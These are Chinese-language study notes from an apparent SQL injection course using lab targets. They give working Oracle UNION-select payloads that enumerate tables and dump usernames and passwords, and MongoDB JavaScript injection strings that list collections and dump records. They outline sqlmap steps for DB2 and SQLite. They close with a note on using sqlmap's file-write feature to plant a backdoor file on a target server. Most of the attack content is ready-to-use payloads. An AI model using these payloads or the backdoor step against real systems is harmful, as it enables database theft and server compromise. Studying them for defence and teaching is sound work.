知识点
SQL注入课程体系:
1、数据库注入 -access mysql mssql oracle mongodb postgresql等
2、数据类型注入 -数字型 字符型 搜索型 加密型(base64 json)等
3、提交方式注入 -get post cookie http头等
4、查询方式注入 -查询 增加 删除 更新 堆叠等
5、复杂注入利用 -二次注入 dnslog注入 绕过bypass等
案例
数据库注入-联合猜解-Oracle&Mongodb
数据库注入-SQLMAP-DB2&SQLite&Sybase
数据库注入-SQLMAP-数据猜解&高权限读写执行
数据库注入-联合猜解-Oracle&Mongodb
Oracle
相关文章:cnblogs.com/peterpan0707007/p/8242119.html
测回显:and 1=2 union select ‘1’,’2’ from dual
这说明1和2都是回显点位
爆库: and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1)from dual
查询其他表名:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name not in (‘LOGMNR_SESSION_EVOLVE$’))from dual
模糊爆库: and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual
爆出来了关于user的表,也就是图中的sns_users
爆列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’) from dual
爆其他列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’ and column_name not in(‘USER_NAME’)) from dual
爆出来了密码的表
爆数据:and 1=2 union select user_name,user_pwd from ‘sns_users’
爆其他数据:and 1=2 union select user_name,user_pwd from ‘sns_users’ where user_name<>’hu’
and 1=2 union select user_name,user_pwd from ‘sns_users’ where user_name< >’hu’ and user_name< >’mozhe’
Mongodb
相关文章:runoob.com/mongodb/mongodb-query.html
题目源码
测回显:/new_list.php?id=1’}); return ({title:1,content:’2(要让前面的数据先形成闭合,才能进行后面的sql语句注入)
爆库:/new_list.php?id=1’)}; return ({title:tojsion(db),content:’1
emmm,其实这个库名在源码里就已经都写了,所以这步可以略过
爆表:/new_list.php?id=1’)}; return ({title:tojsion(db.getCollectionNames()),content:’1
爆字段:new_list.php?id=1’)}; return ({title:tojsion(db.Authority_confidential.find()[0]),content:’1
new_list.php?id=1’)}; return ({title:tojsion(db.Authority_confidential.find()[1]),content:’1
注:
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
数据库注入-SQLMAP-DB2&SQLite&Sybase
SQLMAP使用
-sqlmap 数据库注入数据猜解
-sqlmap 高权限注入读写执行
-sqlmap 高权限注入联动MSF
sqlmap使用相关文章(非常牛逼):https://www.cnblogs.com/bmjoker/p/9326258.html
sqlmap官网:
https://sqlmap.org
必须要懂的关于SQLMAP的几个方面:
-什么是SQLMAP?
-它支持哪些数据库注入?
-它支持哪些SQL注入模式?
-它支持哪些其他不一样功能?
-使用SQLMAP一般注入流程分析?
DB2
尝试是否存在注入点
识别出来是DB2数据库
判断是不是管理员权限
判断结果是的,那么就可以进行文件读写的操作
查询指定数据库的表
查询指定表的列名
查询具体数据
SQLite
判断数据库类型
判断是否有管理员权限
查询表名
看当前调用数据库
查询列名
查询具体数据
数据库注入-SQLMAP-数据猜解&高权限读写执行
把本地服务器的w.txt文件写到对方服务器里命名为1111.txt,这样的操作就可以在对方的服务器里植入后门了
植入ing
查询下没有d盘……,所以刚刚的文件没有写入成功,换成c盘再植入就行了